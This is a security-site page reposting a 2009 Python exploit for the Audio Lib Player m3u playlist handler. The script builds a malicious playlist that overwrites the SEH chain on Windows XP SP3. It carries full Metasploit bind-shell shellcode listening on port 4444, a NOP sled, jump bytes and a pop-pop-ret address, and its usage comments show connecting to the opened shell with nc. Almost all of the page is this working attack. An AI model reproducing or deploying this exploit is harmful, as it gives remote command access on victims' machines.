首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Audio Lib Player (m3u File) Buffer Overflow Exploit (SEH)
来源:vfocus.net 作者:Blake 发布时间:2009-09-10  

# Audio Lib Player m3u SEH overwrite
# product: http://www.toocharger.com/telecharger/logiciels/audio-lib-player/19056.htm
# Usage: Create playlist, load exploit.m3u and connect to shell on port 4444
#
# $ nc 192.168.1.131 4444
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Documents and Settings\blake\Desktop\ALP>

import sys

print "\n[*] Audio Lib Player m3u SEH Overwrite"
print "[*] Written by Blake"
print "[*] Tested on Windows XP SP3\n"


# windows/shell_bind_tcp - 695 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# EXITFUNC=seh, LPORT=4444, RHOST=

shellcode = (
"\xdd\xc1\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
"\x4c\x42\x4a\x4a\x4b\x50\x4d\x4a\x48\x4b\x49\x4b\x4f\x4b\x4f"
"\x4b\x4f\x45\x30\x4c\x4b\x42\x4c\x51\x34\x47\x54\x4c\x4b\x47"
"\x35\x47\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48\x45\x51\x4a\x4f"
"\x4c\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a"
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x46\x51"
"\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57\x49"
"\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4b\x44\x47\x4b"
"\x46\x34\x47\x54\x47\x58\x43\x45\x4d\x35\x4c\x4b\x51\x4f\x46"
"\x44\x43\x31\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b"
"\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x44\x43\x46\x4c\x4c\x4b\x4b"
"\x39\x42\x4c\x51\x34\x45\x4c\x43\x51\x49\x53\x50\x31\x49\x4b"
"\x45\x34\x4c\x4b\x51\x53\x46\x50\x4c\x4b\x51\x50\x44\x4c\x4c"
"\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x51\x50\x43\x38\x51\x4e"
"\x45\x38\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x48"
"\x56\x42\x46\x50\x53\x43\x56\x43\x58\x50\x33\x50\x32\x43\x58"
"\x43\x47\x43\x43\x47\x42\x51\x4f\x51\x44\x4b\x4f\x48\x50\x45"
"\x38\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x4e\x36"
"\x51\x4f\x4b\x39\x4d\x35\x45\x36\x4d\x51\x4a\x4d\x43\x38\x44"
"\x42\x50\x55\x43\x5a\x44\x42\x4b\x4f\x4e\x30\x43\x58\x49\x49"
"\x43\x39\x4c\x35\x4e\x4d\x50\x57\x4b\x4f\x48\x56\x51\x43\x46"
"\x33\x46\x33\x46\x33\x50\x53\x50\x43\x51\x43\x51\x53\x50\x53"
"\x4b\x4f\x48\x50\x42\x46\x42\x48\x42\x31\x51\x4c\x43\x56\x46"
"\x33\x4c\x49\x4b\x51\x4d\x45\x45\x38\x4e\x44\x44\x5a\x42\x50"
"\x48\x47\x51\x47\x4b\x4f\x49\x46\x43\x5a\x44\x50\x46\x31\x46"
"\x35\x4b\x4f\x4e\x30\x42\x48\x4e\x44\x4e\x4d\x46\x4e\x4d\x39"
"\x50\x57\x4b\x4f\x49\x46\x51\x43\x51\x45\x4b\x4f\x4e\x30\x45"
"\x38\x4b\x55\x51\x59\x4b\x36\x51\x59\x50\x57\x4b\x4f\x49\x46"
"\x46\x30\x46\x34\x50\x54\x51\x45\x4b\x4f\x48\x50\x4d\x43\x45"
"\x38\x4a\x47\x43\x49\x48\x46\x44\x39\x50\x57\x4b\x4f\x48\x56"
"\x50\x55\x4b\x4f\x48\x50\x43\x56\x42\x4a\x45\x34\x43\x56\x43"
"\x58\x43\x53\x42\x4d\x4c\x49\x4a\x45\x43\x5a\x50\x50\x46\x39"
"\x46\x49\x48\x4c\x4b\x39\x4d\x37\x43\x5a\x50\x44\x4c\x49\x4b"
"\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32\x46\x4d"
"\x4b\x4e\x51\x52\x46\x4c\x4a\x33\x4c\x4d\x43\x4a\x50\x38\x4e"
"\x4b\x4e\x4b\x4e\x4b\x43\x58\x44\x32\x4b\x4e\x4e\x53\x45\x46"
"\x4b\x4f\x43\x45\x47\x34\x4b\x4f\x4e\x36\x51\x4b\x46\x37\x51"
"\x42\x50\x51\x50\x51\x50\x51\x43\x5a\x43\x31\x50\x51\x46\x31"
"\x51\x45\x50\x51\x4b\x4f\x48\x50\x45\x38\x4e\x4d\x48\x59\x43"
"\x35\x48\x4e\x46\x33\x4b\x4f\x4e\x36\x42\x4a\x4b\x4f\x4b\x4f"
"\x46\x57\x4b\x4f\x48\x50\x4c\x4b\x46\x37\x4b\x4c\x4b\x33\x49"
"\x54\x45\x34\x4b\x4f\x48\x56\x46\x32\x4b\x4f\x4e\x30\x45\x38"
"\x4c\x30\x4d\x5a\x44\x44\x51\x4f\x50\x53\x4b\x4f\x49\x46\x4b"
"\x4f\x48\x50\x41\x41")

payload = "\x41" * 420    # seh overwritten at 1224
nops = "\x90" * 100    # Nop Sled
sc = shellcode     # bind shell 695 bytes
near_jmp = "\xe9\x10\xfd\xff\xff"  # near jump back -752 bytes
seh = "\x6a\x19\x9a\x0f"   # 0x0f9a196a pop ebp; pop ebx; ret from [C:\WINDOWS\system32\VBAJET32.dll]
next_seh = "\xeb\xf9\xff\xff"   # short jump back -7
junk = "\x43" * 572    # junk buffer


print "[+] Creating malicious playlist"
try:
 file = open("exploit.m3u",'w')
 file.write(payload + nops + sc + near_jmp + next_seh + seh + junk)
 file.close()
 print "[+] File created successfully"
except:
 print "[x] Could not create file"
 sys.exit(0)


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Agoko CMS <= 0.4 Remote Comman
·FTPShell Client 4.1 RC2 Remote
·Joomla Component TPDugg 1.1 Bl
·Pidgin MSN <= 2.5.8 Remote Cod
·Joomla Component BF Survey Pro
·Millenium MP3 Studio (pls/mpf/
·Novell eDirectory 8.8 SP5 Remo
·jetAudio 7.1.9.4030 plus vx(as
·SIDVault 2.0e Windows Universa
·Media Player Classic 6.4.9 (.m
·HTMLDOC 1.8.27 (html File Hand
·linux/x86 listens for shellcod
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved